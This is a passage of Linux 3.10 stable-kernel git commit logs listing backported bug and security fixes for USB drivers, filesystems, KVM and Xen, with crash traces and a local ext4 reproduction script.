Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 07e440b5a0cc98cf7a0bad95a0a5b018dc228d4a Author: Eric Wheeler Date: Mon Mar 7 15:17:50 2016 -0800 bcache: fix cache_set_flush() NULL pointer dereference on OOM commit f8b11260a445169989d01df75d35af0f56178f95 upstream. When bch_cache_set_alloc() fails to kzalloc the cache_set, the asyncronous closure handling tries to dereference a cache_set that hadn't yet been allocated inside of cache_set_flush() which is called by __cache_set_unregister() during cleanup. This appears to happen only during an OOM condition on bcache_register. Signed-off-by: Eric Wheeler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bb1f1218c192f08eddc9887a2c0dc4421a5d9690 Author: OGAWA Hirofumi Date: Wed Mar 9 23:47:25 2016 -0500 jbd2: fix FS corruption possibility in jbd2_journal_destroy() on umount path commit c0a2ad9b50dd80eeccd73d9ff962234590d5ec93 upstream. On umount path, jbd2_journal_destroy() writes latest transaction ID (->j_tail_sequence) to be used at next mount. The bug is that ->j_tail_sequence is not holding latest transaction ID in some cases. So, at next mount, there is chance to conflict with remaining (not overwritten yet) transactions. mount (id=10) write transaction (id=11) write transaction (id=12) umount (id=10) <= the bug doesn't write latest ID mount (id=10) write transaction (id=11) crash mount [recovery process] transaction (id=11) transaction (id=12) <= valid transaction ID, but old commit must not replay Like above, this bug become the cause of recovery failure, or FS corruption. So why ->j_tail_sequence doesn't point latest ID? Because if checkpoint transactions was reclaimed by memory pressure (i.e. bdev_try_to_free_page()), then ->j_tail_sequence is not updated. (And another case is, __jbd2_journal_clean_checkpoint_list() is called with empty transaction.) So in above cases, ->j_tail_sequence is not pointing latest transaction ID at umount path. Plus, REQ_FLUSH for checkpoint is not done too. So, to fix this problem with minimum changes, this patch updates ->j_tail_sequence, and issue REQ_FLUSH. (With more complex changes, some optimizations would be possible to avoid unnecessary REQ_FLUSH for example though.) BTW, journal->j_tail_sequence = ++journal->j_transaction_sequence; Increment of ->j_transaction_sequence seems to be unnecessary, but ext3 does this. Signed-off-by: OGAWA Hirofumi Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bacbc9387c223144dbe4bf2940408c3b69b69e48 Author: Vittorio Gambaletta (VittGam) Date: Sun Mar 13 22:19:34 2016 +0100 ALSA: intel8x0: Add clock quirk entry for AD1981B on IBM ThinkPad X41. commit 4061db03dd71d195b9973ee466f6ed32f6a3fc16 upstream. The clock measurement on the AC'97 audio card found in the IBM ThinkPad X41 will often fail, so add a quirk entry to fix it. Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=441087 Cc: Signed-off-by: Vittorio Gambaletta Signed-off-by: Takashi Iwai Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 34527ae198d94e39a1cd02736641d5b33f0c2895 Author: Tiffany Lin Date: Tue Jan 19 05:56:50 2016 -0200 media: v4l2-compat-ioctl32: fix missing length copy in put_v4l2_buffer32 commit 7df5ab8774aa383c6d2bff00688d004585d96dfd upstream. In v4l2-compliance utility, test QUERYBUF required correct length value to go through each planar to check planar's length in multi-planar buffer type Signed-off-by: Tiffany Lin Reviewed-by: Laurent Pinchart Signed-off-by: Hans Verkuil Cc: # for v3.7 and up Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ba2a39d822d1e4340b3e8d5c887e6c81b5cfaefc Author: Hans de Goede Date: Sun Feb 7 09:24:29 2016 -0200 bttv: Width must be a multiple of 16 when capturing planar formats commit 5c915c68763889f0183a1cc61c84bb228b60124a upstream. On my bttv card "Hauppauge WinTV [card=10]" capturing in YV12 fmt at max size results in a solid green rectangle being captured (all colors 0 in YUV). This turns out to be caused by max-width (924) not being a multiple of 16. We've likely never hit this problem before since normally xawtv / tvtime, etc. will prefer packed pixel formats. But when using a video card which is using xf86-video-modesetting + glamor, only planar XVideo fmts are available, and xawtv will chose a matching capture format to avoid needing to do conversion, triggering the solid green window problem. Cc: stable@vger.kernel.org Signed-off-by: Hans de Goede Acked-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 581625f325f85c870d5bac488f666619135e07cf Author: Sebastian Frias Date: Fri Dec 18 17:40:05 2015 +0100 8250: use callbacks to access UART_DLL/UART_DLM commit 0b41ce991052022c030fd868e03877700220b090 upstream. Some UART HW has a single register combining UART_DLL/UART_DLM (this was probably forgotten in the change that introduced the callbacks, commit b32b19b8ffc05cbd3bf91c65e205f6a912ca15d9) Fixes: b32b19b8ffc0 ("[SERIAL] 8250: set divisor register correctly ...") Signed-off-by: Sebastian Frias Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit be560aff5f4f3a643b6409ae811833c0625d3138 Author: Peter Hurley Date: Sat Jan 9 17:48:45 2016 -0800 net: irda: Fix use-after-free in irtty_open() commit 401879c57f01cbf2da204ad2e8db910525c6dbea upstream. The N_IRDA line discipline may access the previous line discipline's closed and already-fre private data on open [1]. The tty->disc_data field _never_ refers to valid data on entry to the line discipline's open() method. Rather, the ldisc is expected to initialize that field for its own use for the lifetime of the instance (ie. from open() to close() only). [1] ================================================================== BUG: KASAN: use-after-free in irtty_open+0x422/0x550 at addr ffff8800331dd068 Read of size 4 by task a.out/13960 ============================================================================= BUG kmalloc-512 (Tainted: G B ): kasan: bad access detected ----------------------------------------------------------------------------- ... Call Trace: [] __asan_report_load4_noabort+0x3e/0x40 mm/kasan/report.c:279 [] irtty_open+0x422/0x550 drivers/net/irda/irtty-sir.c:436 [] tty_ldisc_open.isra.2+0x60/0xa0 drivers/tty/tty_ldisc.c:447 [] tty_set_ldisc+0x1a0/0x940 drivers/tty/tty_ldisc.c:567 [< inline >] tiocsetd drivers/tty/tty_io.c:2650 [] tty_ioctl+0xace/0x1fd0 drivers/tty/tty_io.c:2883 [< inline >] vfs_ioctl fs/ioctl.c:43 [] do_vfs_ioctl+0x57c/0xe60 fs/ioctl.c:607 [< inline >] SYSC_ioctl fs/ioctl.c:622 [] SyS_ioctl+0x74/0x80 fs/ioctl.c:613 [] entry_SYSCALL_64_fastpath+0x16/0x7a Reported-and-tested-by: Dmitry Vyukov Cc: Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 51704d80a6d63585a1b144193a23d6d171f549fa Author: Josh Boyer Date: Mon Mar 14 09:33:40 2016 -0700 Input: powermate - fix oops with malicious USB descriptors commit 9c6ba456711687b794dcf285856fc14e2c76074f upstream. The powermate driver expects at least one valid USB endpoint in its probe function. If given malicious descriptors that specify 0 for the number of endpoints, it will crash. Validate the number of endpoints on the interface before using them. The full report for this issue can be found here: http://seclists.org/bugtraq/2016/Mar/85 Reported-by: Ralf Spenneberg Cc: stable Signed-off-by: Josh Boyer Signed-off-by: Dmitry Torokhov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eb54f795a9bad78dae61cf4d38b562ae32d4ae1f Author: Hans de Goede Date: Fri Jan 22 08:53:55 2016 -0200 pwc: Add USB id for Philips Spc880nc webcam commit 7445e45d19a09e5269dc85f17f9635be29d2f76c upstream. SPC 880NC PC camera discussions: http://www.pclinuxos.com/forum/index.php/topic,135688.0.html Cc: stable@vger.kernel.org Reported-by: Kikim Signed-off-by: Hans de Goede Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 34495bd5a033a64acb121985e16123afe0c4495e Author: Bjørn Mork Date: Thu Apr 7 12:09:17 2016 +0200 USB: option: add "D-Link DWM-221 B1" device id commit d48d5691ebf88a15d95ba96486917ffc79256536 upstream. Thomas reports: "Windows: 00 diagnostics 01 modem 02 at-port 03 nmea 04 nic Linux: T: Bus=02 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=2001 ProdID=7e19 Rev=02.32 S: Manufacturer=Mobile Connect S: Product=Mobile Connect S: SerialNumber=0123456789ABCDEF C: #Ifs= 6 Cfg#= 1 Atr=a0 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 5 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage" Reported-by: Thomas Schäfer Cc: Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit dda342b8d667a5abe3e1c2ca716ef8ebd99c79f3 Author: Martyn Welch Date: Tue Mar 29 17:47:29 2016 +0100 USB: serial: cp210x: Adding GE Healthcare Device ID commit cddc9434e3dcc37a85c4412fb8e277d3a582e456 upstream. The CP2105 is used in the GE Healthcare Remote Alarm Box, with the Manufacturer ID of 0x1901 and Product ID of 0x0194. Signed-off-by: Martyn Welch Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit aa6540f7249b2211c5f3cd2036824bea0c3247c8 Author: Oliver Neukum Date: Thu Mar 31 12:04:25 2016 -0400 USB: cypress_m8: add endpoint sanity check commit c55aee1bf0e6b6feec8b2927b43f7a09a6d5f754 upstream. An attack using missing endpoints exists. CVE-2016-3137 Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 16c080c8ddf6cdc8f686837ab7950479bf66e8e1 Author: Oliver Neukum Date: Thu Mar 31 12:04:26 2016 -0400 USB: digi_acceleport: do sanity checking for the number of ports commit 5a07975ad0a36708c6b0a5b9fea1ff811d0b0c1f upstream. The driver can be crashed with devices that expose crafted descriptors with too few endpoints. See: http://seclists.org/bugtraq/2016/Mar/61 Signed-off-by: Oliver Neukum [johan: fix OOB endpoint check and add error messages ] Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1c9ff8cc8e8f96a722040634b35f957b8ebaa815 Author: Oliver Neukum Date: Thu Mar 31 12:04:24 2016 -0400 USB: mct_u232: add sanity checking in probe commit 4e9a0b05257f29cf4b75f3209243ed71614d062e upstream. An attack using the lack of sanity checking in probe is known. This patch checks for the existence of a second port. CVE-2016-3136 Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org [johan: add error message ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 55bda09e9fb90fc57aaa083260dfea59bcfd5a2a Author: Oliver Neukum Date: Wed Mar 16 13:26:17 2016 +0100 USB: usb_driver_claim_interface: add sanity checking commit 0b818e3956fc1ad976bee791eadcbb3b5fec5bfd upstream. Attacks that trick drivers into passing a NULL pointer to usb_driver_claim_interface() using forged descriptors are known. This thwarts them by sanity checking. Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 689023ce3aceed310f1d1aa97621430885472f32 Author: Josh Boyer Date: Mon Mar 14 10:42:38 2016 -0400 USB: iowarrior: fix oops with malicious USB descriptors commit 4ec0ef3a82125efc36173062a50624550a900ae0 upstream. The iowarrior driver expects at least one valid endpoint. If given malicious descriptors that specify 0 for the number of endpoints, it will crash in the probe function. Ensure there is at least one endpoint on the interface before using it. The full report of this issue can be found here: http://seclists.org/bugtraq/2016/Mar/87 Reported-by: Ralf Spenneberg Cc: stable Signed-off-by: Josh Boyer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4e83839e41a3ff316a460aa749e041f575b660ef Author: Oliver Neukum Date: Wed Feb 10 11:33:18 2016 +0100 usb: retry reset if a device times out commit 264904ccc33c604d4b3141bbd33808152dfac45b upstream. Some devices I got show an inability to operate right after power on if they are already connected. They are beyond recovery if the descriptors are requested multiple times. So in case of a timeout we rather bail early and reset again. But it must be done only on the first loop lest we get into a reset/time out spiral that can be overcome with a retry. This patch is a rework of a patch that fell through the cracks. http://www.spinics.net/lists/linux-usb/msg103263.html Signed-off-by: Oliver Neukum CC: stable@vger.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 937a5009ace4c45a51ee1a08c65b4707f053ec44 Author: Maurizio Lombardi Date: Fri Mar 4 10:41:49 2016 +0100 be2iscsi: set the boot_kset pointer to NULL in case of failure commit 84bd64993f916bcf86270c67686ecf4cea7b8933 upstream. In beiscsi_setup_boot_info(), the boot_kset pointer should be set to NULL in case of failure otherwise an invalid pointer dereference may occur later. Cc: Signed-off-by: Maurizio Lombardi Reviewed-by: Johannes Thumshirn Reviewed-by: Jitendra Bhivare Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit eddf73f95730f2b15399c90a74671a8c4cbe7404 Author: Raghava Aditya Renukunta Date: Wed Feb 3 15:06:02 2016 -0800 aacraid: Fix memory leak in aac_fib_map_free commit f88fa79a61726ce9434df9b4aede36961f709f17 upstream. aac_fib_map_free() calls pci_free_consistent() without checking that dev->hw_fib_va is not NULL and dev->max_fib_size is not zero.If they are indeed NULL/0, this will result in a hang as pci_free_consistent() will attempt to invalidate cache for the entire 64-bit address space (which would take a very long time). Fixed by adding a check to make sure that dev->hw_fib_va and dev->max_fib_size are not NULL and 0 respectively. Fixes: 9ad5204d6 - "[SCSI]aacraid: incorrect dma mapping mask during blinked recover or user initiated reset" Cc: stable@vger.kernel.org Signed-off-by: Raghava Aditya Renukunta Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 75044ba2daef52725f457cad17b25138a6ad6b6b Author: Douglas Gilbert Date: Thu Mar 3 00:31:29 2016 -0500 sg: fix dxferp in from_to case commit 5ecee0a3ee8d74b6950cb41e8989b0c2174568d4 upstream. One of the strange things that the original sg driver did was let the user provide both a data-out buffer (it followed the sg_header+cdb) _and_ specify a reply length greater than zero. What happened was that the user data-out buffer was copied into some kernel buffers and then the mid level was told a read type operation would take place with the data from the device overwriting the same kernel buffers. The user would then read those kernel buffers back into the user space. From what I can tell, the above action was broken by commit fad7f01e61bf ("sg: set dxferp to NULL for READ with the older SG interface") in 2008 and syzkaller found that out recently. Make sure that a user space pointer is passed through when data follows the sg_header structure and command. Fix the abnormal case when a non-zero reply_len is also given. Fixes: fad7f01e61bf737fe8a3740d803f000db57ecac6 Cc: #v2.6.28+ Signed-off-by: Douglas Gilbert Reviewed-by: Ewan Milne Signed-off-by: Martin K. Petersen Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit f0c8ceefd62b80e672901bde0c25c3274e728678 Author: Andy Lutomirski Date: Wed Mar 16 14:14:22 2016 -0700 x86/iopl: Fix iopl capability check on Xen PV commit c29016cf41fe9fa994a5ecca607cf5f1cd98801e upstream. iopl(3) is supposed to work if iopl is already 3, even if unprivileged. This didn't work right on Xen PV. Fix it. Reviewewd-by: Jan Beulich Signed-off-by: Andy Lutomirski Cc: Andrew Cooper Cc: Andy Lutomirski Cc: Boris Ostrovsky Cc: Borislav Petkov Cc: Brian Gerst Cc: David Vrabel Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/8ce12013e6e4c0a44a97e316be4a6faff31bd5ea.1458162709.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 16c25edb99756a09042f857b1f64018356546f89 Author: H. Peter Anvin Date: Sat Apr 27 16:11:17 2013 -0700 x86, processor-flags: Fix the datatypes and add bit number defines commit d1fbefcb3aa608599a3c9e4582cbeeb6ba6c8939 upstream. The control registers are unsigned long (32 bits on i386, 64 bits on x86-64), and so make that manifest in the data type for the various constants. Add defines with a _BIT suffix which defines the bit number, as opposed to the bit mask. This should resolve some issues with ~bitmask that Linus discovered. Reported-by: Linus Torvalds Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/n/tip-cwckhbrib2aux1qbteaebij0@git.kernel.org [wt: backported to 3.10 only to keep next patch clean] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4186b93b7163eba0663239e11e1a56f56f0ae6bd Author: H. Peter Anvin Date: Sat Apr 27 16:37:47 2013 -0700 x86: Rename X86_CR4_RDWRGSFS to X86_CR4_FSGSBASE commit afcbf13fa6d53d8a97eafaca1dcb344331d2ce0c upstream. Rename X86_CR4_RDWRGSFS to X86_CR4_FSGSBASE to match the SDM. Signed-off-by: H. Peter Anvin Cc: Marcelo Tosatti Cc: Gleb Natapov Link: http://lkml.kernel.org/n/tip-buq1evi5dpykxx7ak6amaam0@git.kernel.org [wt: backported to 3.10 only to keep next patch clean] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 01c36a160c8418dec562bd5b37954196051077d3 Author: H. Peter Anvin Date: Sat Apr 27 16:07:49 2013 -0700 linux/const.h: Add _BITUL() and _BITULL() commit 2fc016c5bd8aad2e201cdf71b9fb4573f94775bd upstream. Add macros for single bit definitions of a specific type. These are similar to the BIT() macro that already exists, but with a few exceptions: 1. The namespace is such that they can be used in uapi definitions. 2. The type is set with the _AC() macro to allow it to be used in assembly. 3. The type is explicitly specified to be UL or ULL. Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/n/tip-nbca8p7cg6jyjoit7klh3o91@git.kernel.org [wt: backported to 3.10 only to keep next patch clean] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d1dfe5e084c5a6e9cfea631d294bbcc7e0c9906e Author: Bjorn Helgaas Date: Thu Feb 25 14:35:57 2016 -0600 PCI: Disable IO/MEM decoding for devices with non-compliant BARs commit b84106b4e2290c081cdab521fa832596cdfea246 upstream. The PCI config header (first 64 bytes of each device's config space) is defined by the PCI spec so generic software can identify the device and manage its usage of I/O, memory, and IRQ resources. Some non-spec-compliant devices put registers other than BARs where the BARs should be. When the PCI core sizes these "BARs", the reads and writes it does may have unwanted side effects, and the "BAR" may appear to describe non-sensical address space. Add a flag bit to mark non-compliant devices so we don't touch their BARs. Turn off IO/MEM decoding to prevent the devices from consuming address space, since we can't read the BARs to find out what that address space would be. Signed-off-by: Bjorn Helgaas Tested-by: Andi Kleen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ae3d4e714fc760d4b6cf3f5abc2f5adacb6f585c Author: Dan Carpenter Date: Wed Jan 20 12:54:51 2016 +0300 EDAC, amd64_edac: Shift wrapping issue in f1x_get_norm_dct_addr() commit 6f3508f61c814ee852c199988a62bd954c50dfc1 upstream. dct_sel_base_off is declared as a u64 but we're only using the lower 32 bits because of a shift wrapping bug. This can possibly truncate the upper 16 bits of DctSelBaseOffset[47:26], causing us to misdecode the CS row. Fixes: c8e518d5673d ('amd64_edac: Sanitize f10_get_base_addr_offset') Signed-off-by: Dan Carpenter Cc: Aravind Gopalakrishnan Cc: linux-edac Cc: Link: http://lkml.kernel.org/r/20160120095451.GB19898@mwanda Signed-off-by: Borislav Petkov Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3e3628a49d4f8d720cabd9e2ce0616b187837dd2 Author: Paolo Bonzini Date: Mon Mar 21 10:15:25 2016 +0100 KVM: fix spin_lock_init order on x86 commit e9ad4ec8379ad1ba6f68b8ca1c26b50b5ae0a327 upstream. Moving the initialization earlier is needed in 4.6 because kvm_arch_init_vm is now using mmu_lock, causing lockdep to complain: [ 284.440294] INFO: trying to register non-static key. [ 284.445259] the code is fine but needs lockdep annotation. [ 284.450736] turning off the locking correctness validator. ... [ 284.528318] [] lock_acquire+0xd3/0x240 [ 284.533733] [] ? kvm_page_track_register_notifier+0x20/0x60 [kvm] [ 284.541467] [] _raw_spin_lock+0x41/0x80 [ 284.546960] [] ? kvm_page_track_register_notifier+0x20/0x60 [kvm] [ 284.554707] [] kvm_page_track_register_notifier+0x20/0x60 [kvm] [ 284.562281] [] kvm_mmu_init_vm+0x20/0x30 [kvm] [ 284.568381] [] kvm_arch_init_vm+0x1ea/0x200 [kvm] [ 284.574740] [] kvm_dev_ioctl+0xbf/0x4d0 [kvm] However, it also helps fixing a preexisting problem, which is why this patch is also good for stable kernels: kvm_create_vm was incrementing current->mm->mm_count but not decrementing it at the out_err label (in case kvm_init_mmu_notifier failed). The new initialization order makes it possible to add the required mmdrop without adding a new error label. Reported-by: Borislav Petkov Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e80134a4f2f2f5fd40eecfb2ee19e3dd3a2ec5a3 Author: Radim KrÄÂmář Date: Wed Mar 2 22:56:38 2016 +0100 KVM: i8254: change PIT discard tick policy commit 7dd0fdff145c5be7146d0ac06732ae3613412ac1 upstream. Discard policy uses ack_notifiers to prevent injection of PIT interrupts before EOI from the last one. This patch changes the policy to always try to deliver the interrupt, which makes a difference when its vector is in ISR. Old implementation would drop the interrupt, but proposed one injects to IRR, like real hardware would. The old policy breaks legacy NMI watchdogs, where PIT is used through virtual wire (LVT0): PIT never sends an interrupt before receiving EOI, thus a guest deadlock with disabled interrupts will stop NMIs. Note that NMI doesn't do EOI, so PIT also had to send a normal interrupt through IOAPIC. (KVM's PIT is deeply rotten and luckily not used much in modern systems.) Even though there is a chance of regressions, I think we can fix the LVT0 NMI bug without introducing a new tick policy. Cc: Reported-by: Yuki Shibuya Reviewed-by: Paolo Bonzini Signed-off-by: Radim KrÄÂmář Signed-off-by: Paolo Bonzini Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9823c817980984056e5b0667b1f48342633882ef Author: Behan Webster Date: Thu Feb 13 12:21:48 2014 -0800 x86: LLVMLinux: Fix "incomplete type const struct x86cpu_device_id" commit c4586256f0c440bc2bdb29d2cbb915f0ca785d26 upstream. Similar to the fix in 40413dcb7b273bda681dca38e6ff0bbb3728ef11 MODULE_DEVICE_TABLE(x86cpu, ...) expects the struct to be called struct x86cpu_device_id, and not struct x86_cpu_id which is what is used in the rest of the kernel code. Although gcc seems to ignore this error, clang fails without this define to fix the name. Code from drivers/thermal/x86_pkg_temp_thermal.c static const struct x86_cpu_id __initconst pkg_temp_thermal_ids[] = { ... }; MODULE_DEVICE_TABLE(x86cpu, pkg_temp_thermal_ids); Error from clang: drivers/thermal/x86_pkg_temp_thermal.c:577:1: error: variable has incomplete type 'const struct x86cpu_device_id' MODULE_DEVICE_TABLE(x86cpu, pkg_temp_thermal_ids); ^ include/linux/module.h:145:3: note: expanded from macro 'MODULE_DEVICE_TABLE' MODULE_GENERIC_TABLE(type##_device, name) ^ include/linux/module.h:87:32: note: expanded from macro 'MODULE_GENERIC_TABLE' extern const struct gtype##_id __mod_##gtype##_table \ ^ :143:1: note: expanded from here __mod_x86cpu_device_table ^ drivers/thermal/x86_pkg_temp_thermal.c:577:1: note: forward declaration of 'struct x86cpu_device_id' include/linux/module.h:145:3: note: expanded from macro 'MODULE_DEVICE_TABLE' MODULE_GENERIC_TABLE(type##_device, name) ^ include/linux/module.h:87:21: note: expanded from macro 'MODULE_GENERIC_TABLE' extern const struct gtype##_id __mod_##gtype##_table \ ^ :141:1: note: expanded from here x86cpu_device_id ^ 1 error generated. Signed-off-by: Behan Webster Signed-off-by: Jan-Simon Möller Acked-by: Greg Kroah-Hartman Signed-off-by: philm@manjaro.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ee53bb5bab799435e456fd0e81203d390d128f64 Author: Joe Perches Date: Thu Jun 25 15:01:02 2015 -0700 compiler-gcc: integrate the various compiler-gcc[345].h files commit cb984d101b30eb7478d32df56a0023e4603cba7f upstream. As gcc major version numbers are going to advance rather rapidly in the future, there's no real value in separate files for each compiler version. Deduplicate some of the macros #defined in each file too. Neaten comments using normal kernel commenting style. Signed-off-by: Joe Perches Cc: Andi Kleen Cc: Michal Marek Cc: Segher Boessenkool Cc: Sasha Levin Cc: Anton Blanchard Cc: Alan Modra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds [ philm: backport to 3.10-stable ] Signed-off-by: Philip Müller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9d77539e032243c38703a48eb8da73280e15ba71 Author: Eryu Guan Date: Sat Mar 12 21:40:32 2016 -0500 ext4: fix NULL pointer dereference in ext4_mark_inode_dirty() commit 5e1021f2b6dff1a86a468a1424d59faae2bc63c1 upstream. ext4_reserve_inode_write() in ext4_mark_inode_dirty() could fail on error (e.g. EIO) and iloc.bh can be NULL in this case. But the error is ignored in the following "if" condition and ext4_expand_extra_isize() might be called with NULL iloc.bh set, which triggers NULL pointer dereference. This is uncovered by commit 8b4953e13f4c ("ext4: reserve code points for the project quota feature"), which enlarges the ext4_inode size, and run the following script on new kernel but with old mke2fs: #/bin/bash mnt=/mnt/ext4 devname=ext4-error dev=/dev/mapper/$devname fsimg=/home/fs.img trap cleanup 0 1 2 3 9 15 cleanup() { umount $mnt >/dev/null 2>&1 dmsetup remove $devname losetup -d $backend_dev rm -f $fsimg exit 0 } rm -f $fsimg fallocate -l 1g $fsimg backend_dev=`losetup -f --show $fsimg` devsize=`blockdev --getsz $backend_dev` good_tab="0 $devsize linear $backend_dev 0" error_tab="0 $devsize error $backend_dev 0" dmsetup create $devname --table "$good_tab" mkfs -t ext4 $dev mount -t ext4 -o errors=continue,strictatime $dev $mnt dmsetup load $devname --table "$error_tab" && dmsetup resume $devname echo 3 > /proc/sys/vm/drop_caches ls -l $mnt exit 0 [ Patch changed to simplify the function a tiny bit. -- Ted ] Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c052a972c5be205689f124cff0584644acc260b5 Author: Kamal Mostafa Date: Tue Apr 5 12:24:23 2016 -0700 x86/iopl/64: Properly context-switch IOPL on Xen PV commit b7a584598aea7ca73140cb87b40319944dd3393f upstream. From: Andy Lutomirski On Xen PV, regs->flags doesn't reliably reflect IOPL and the exit-to-userspace code doesn't change IOPL. We need to context switch it manually. I'm doing this without going through paravirt because this is specific to Xen PV. After the dust settles, we can merge this with the 32-bit code, tidy up the iopl syscall implementation, and remove the set_iopl pvop entirely. Fixes XSA-171. Reviewewd-by: Jan Beulich Signed-off-by: Andy Lutomirski Cc: Andrew Cooper Cc: Andy Lutomirski Cc: Boris Ostrovsky Cc: Borislav Petkov Cc: Brian Gerst Cc: David Vrabel Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/693c3bd7aeb4d3c27c92c622b7d0f554a458173c.1458162709.git.luto@kernel.org Signed-off-by: Ingo Molnar [ kamal: backport to 3.19-stable: no X86_FEATURE_XENPV so just call xen_pv_domain() directly ] Acked-by: Andy Lutomirski Signed-off-by: Kamal Mostafa Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit dd8ae61745efbb6b87a1b8b2d7b427ca6e488a5f Author: Greg Kroah-Hartman Date: Wed Mar 16 08:41:47 2016 -0700 Linux 3.10.101 Signed-off-by: Pranav Vashi commit fab8383d8e3fdb9ac4e3727408faa42b7e0ccde2 Author: Greg Kroah-Hartman Date: Sat Mar 12 21:30:16 2016 -0800 Revert: "crypto: af_alg - Disallow bind/setkey/... after accept(2)" This reverts commit 5a707f0972e1c9d8a4a921ddae79d0f9dc36a341 which is commit c840ac6af3f8713a71b4d2363419145760bd6044 upstream. It's been widely reported that this patch breaks existing userspace applications when backported to the stable kernel releases. As no fix seems to be forthcoming, just revert it to let systems work again. Reported-by: "J. Paul Reed" Cc: Dmitry Vyukov Cc: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5b80dcdb1187b9be7cb3f5c5e28d43b16a192b0 Author: Jason Andryuk Date: Fri Feb 12 23:13:33 2016 +0000 lib/ucs2_string: Correct ucs2 -> utf8 conversion commit a68075908a37850918ad96b056acc9ac4ce1bd90 upstream. The comparisons should be >= since 0x800 and 0x80 require an additional bit to store. For the 3 byte case, the existing shift would drop off 2 more bits than intended. For the 2 byte case, there should be 5 bits bits in byte 1, and 6 bits in byte 2. Signed-off-by: Jason Andryuk Reviewed-by: Laszlo Ersek Cc: Peter Jones Cc: Matthew Garrett Cc: "Lee, Chun-Yi" Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d81ba608b3369b993cb464368ce87bac5cdd998f Author: Matt Fleming Date: Mon Feb 15 10:34:05 2016 +0000 efi: Add pstore variables to the deletion whitelist commit e246eb568bc4cbbdd8a30a3c11151ff9b7ca7312 upstream. Laszlo explains why this is a good idea, 'This is because the 